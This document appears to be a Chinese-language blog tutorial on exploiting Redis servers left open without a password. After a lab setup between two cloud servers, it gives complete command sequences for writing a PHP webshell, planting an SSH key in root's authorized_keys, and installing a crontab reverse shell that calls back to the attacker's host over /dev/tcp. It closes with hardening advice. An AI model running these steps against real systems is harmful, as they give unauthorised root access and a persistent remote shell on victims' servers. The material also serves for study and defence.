(資料庫提權——Redis)Redis未授權訪問漏洞總結

語言: CN / TW / HK

一、介紹

1.Redis資料庫

Redis(Remote Dictionary Server ),即遠端字典服務,是一個開源的使用ANSI C語言編寫、支援網路、可基於記憶體亦可持久化的日誌型、Key-Value資料庫,並提供多種語言的API。

2.漏洞介紹

Redis因配置不當可以導致未授權訪問,被攻擊者惡意利用。當前流行的針對Redis未授權訪問的一種新型攻擊方式,在特定條件下,如果Redis以root身份執行,黑客可以給root賬戶寫入SSH公鑰檔案,直接通過SSH登入受害伺服器,可導致伺服器許可權被獲取和資料刪除、洩露或加密勒索事件發生,嚴重危害業務正常服務。

漏洞產生條件:

(1)redis繫結在 0.0.0.0:6379,且沒有進行新增防火牆規則避免其他非信任來源ip訪問等相關安全策略,直接暴露在公網;

(2)沒有設定密碼認證(一般為空),可以免密碼遠端登入redis服務。

漏洞檢測::

可以對目標主機使用nmap掃描

若發現主機6379埠是對外開發的,則可以認為有redis資料庫。若碰巧預設配置為空密碼,而伺服器仍然對外開放,則可以在另一個裝有redis資料庫的主機使用redis-cli -h 目標ip地址 直接遠端連線

漏洞危害:

(1)Redis資料洩露

Redis資料表中儲存著企業的私有資料,比如一些網站的賬戶密碼、FTP賬戶密碼等,攻擊者可以隨時檢視資料表的內容。

(2)Redis資料銷燬

攻擊者可以修改redis資料表,增刪key項,如呼叫fluxhall命令清除所有key。

(3)主機系統環境洩露,為後續攻擊提供網路資訊

例如,使用 info 命令可以檢視主機的相關資訊,如作業系統環境、目錄名、CPU/記憶體等敏感資訊。

(4)結合技術手段控制主機

利用redis未經授權的漏洞,不僅對redis資料構成威脅,而且通過一定的技術手段控制目標主機系統,獲得主機控制權。

二、漏洞環境搭建

攻擊機:騰訊雲伺服器 系統:ubuntu 20.04 64位 公網ip地址:49.xxx.xxx.xx

靶機:阿里雲伺服器 系統:ubuntu 16.04 64位 公網ip地址:101.xxx.xxx.xxx

使用Redis版本:2.8.17

注意:兩個雲伺服器的相關埠要記得開啟,否則redis-cli無法連線

1.靶機下載Redis

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

2.解壓Redis

tar xzf redis-2.8.17.tar.gz

3.進入安裝目錄,編譯

cd redis-2.8.17/
make

如下圖所示,編譯成功

4.複製redis-server和redis-cli到/usr/bin/目錄

這一步的目的是為了我們可以直接使用該命令,而不必每次都去安裝目錄執行。

cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/

5.啟動服務

由於我們使用的redis版本較低,所以不需要修改redis.conf檔案,已經滿足漏洞利用的條件了,所以直接啟動即可。

redis-server &

如圖,啟動成功!

6.環境搭建完畢,嘗試連線

我們再將上述步驟在攻擊機裡重新佈置一次,使攻擊機與靶機都安裝redis服務。

攻擊機進行連線:

redis-cli -h 靶機的ip地址

如圖,無賬號成功登入redis,漏洞環境已成功復現

三、攻擊方式演示

1.寫入webshell

配置一個可讀可寫可執行的匯出路徑

config set dir /tmp

設定備份名為shell.php的檔案且放到存放目錄

config set dbfilename shell.php

建立webshell

set webshell "<?php phpinfo(); ?>"

儲存

save

檢視靶機tmp資料夾,發現shell.php已成功寫入

2.寫入SSH公鑰實現SSH登入

(1)在靶機中執行 mkdir /root/.ssh 命令,建立ssh公鑰存放目錄(若是靶機使用過ssh服務,則會自動生成/root/.ssh檔案目錄)

(2)在攻擊機中生成ssh公鑰和私鑰,密碼設定為空:

如圖,一路回車即可

(3)進入.ssh目錄,儲存金鑰

進入.ssh目錄

cd ~/.ssh

將生成的公鑰儲存到key.txt

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt

(4)將儲存的key.txt檔案內容寫入redis

cat /root/.ssh/key.txt | redis-cli -h 靶機ip地址 -x set pub

(5)設定redis的備份路徑為:/root/.ssh/

設定上傳公鑰的備份檔名為:authorized_keys

(6)已成功寫入ssh公鑰到靶機,測試ssh免密登入。

ssh 靶機ip地址

如圖已成功連線

注意:我在用雲伺服器操作時,redis-cli突然連線不上了,後來發現是我被判定存在攻擊行為把我6379埠封禁了,redis換個埠即可解決。

3.在crontab裡寫定時任務,反彈shell

靶機之前使用的ubuntu系統,演示未成功,更換為centos後重新操作一遍後成功,攻擊機未變。

(1)攻擊機上監聽4444埠

nc -lnvp 4444

(2)新開一個終端,redis-cli連線上後,寫入反彈shell

set xx "\n* * * * * bash -i >& /dev/tcp/攻擊機ip地址/監聽的埠號 0>&1\n"

(3)設定匯出的路徑

config set dir /var/spool/cron/

(4)設定匯出的檔名稱

config set dbfilename root

(5) save

成功收到反彈的shell!

四、修復建議

1.網路層加固

指定Redis服務使用的網絡卡

預設情況下,Redis 監聽127.0.0.1. 如果只是本地通訊,請務必在本地進行監控。

這種方法可以在一定程度上緩解未經授權訪問 Redis 的風險(在特殊情況下,如果 Redis 以 root 使用者身份執行,攻擊者可以利用現有的 webshell 使用 Redis 反彈 shell 來實現提權)。

在redis.conf檔案# bind 127.0.0.1前面找到#刪除,然後儲存。

注意:此操作需要重啟Redis才能生效。2、修改後只有本機可以訪問Redis,也可以指定訪問源IP訪問Redis。

2.設定防火牆策略

如果正常業務需要其他伺服器訪問Redis服務,可以使用iptables策略,只允許指定IP訪問Redis服務。

iptables -A INPUT -s xxxx -p tcp --dport 6379 -j ACCEPT

3.賬號與認證

設定訪問密碼

在redis.conf查詢requirepass欄位中,刪除其註釋,並在後面填寫密碼。Redis 客戶端也需要使用這個密碼才能訪問 Redis 服務。

4.最小化服務操作許可權

修改Redis服務執行賬號

請使用較低許可權的帳號執行 Redis 服務,並禁用該帳號的登入許可權。

5.精細化服務授權

隱藏重要命令

Redis 沒有許可權分離,它的管理員賬戶和普通賬戶沒有明顯的區別。在登入攻擊者可以執行任何操作後,需要隱藏以下重要命令:FLUSHDB,FLUSHALL,KEYS,PEXPIRE,DEL,CONFIG,SHUTDOWN,BGREWRITEAOF,BGSAVE,SAVE,SPOP,SREM,RENAME,DEBUG,EVAL.

此外,Redis 2.8.1 和 Redis 3.x(3.0.2 以下)存在 EVAL 沙盒逃逸漏洞,允許攻擊者執行任意 Lua 程式碼。

以下配置config/flushdb/flushall設定為null,即禁用該命令;也可能提供一個複雜的、難以猜測的名稱

(1) rename-command CONFIG ""
(2) rename-command flushall ""
(3) rename-command flushdb“”

(4) rename-command shutdown shotdown_test

儲存後,執行 /etc/init.d/redis-server restart 重啟生效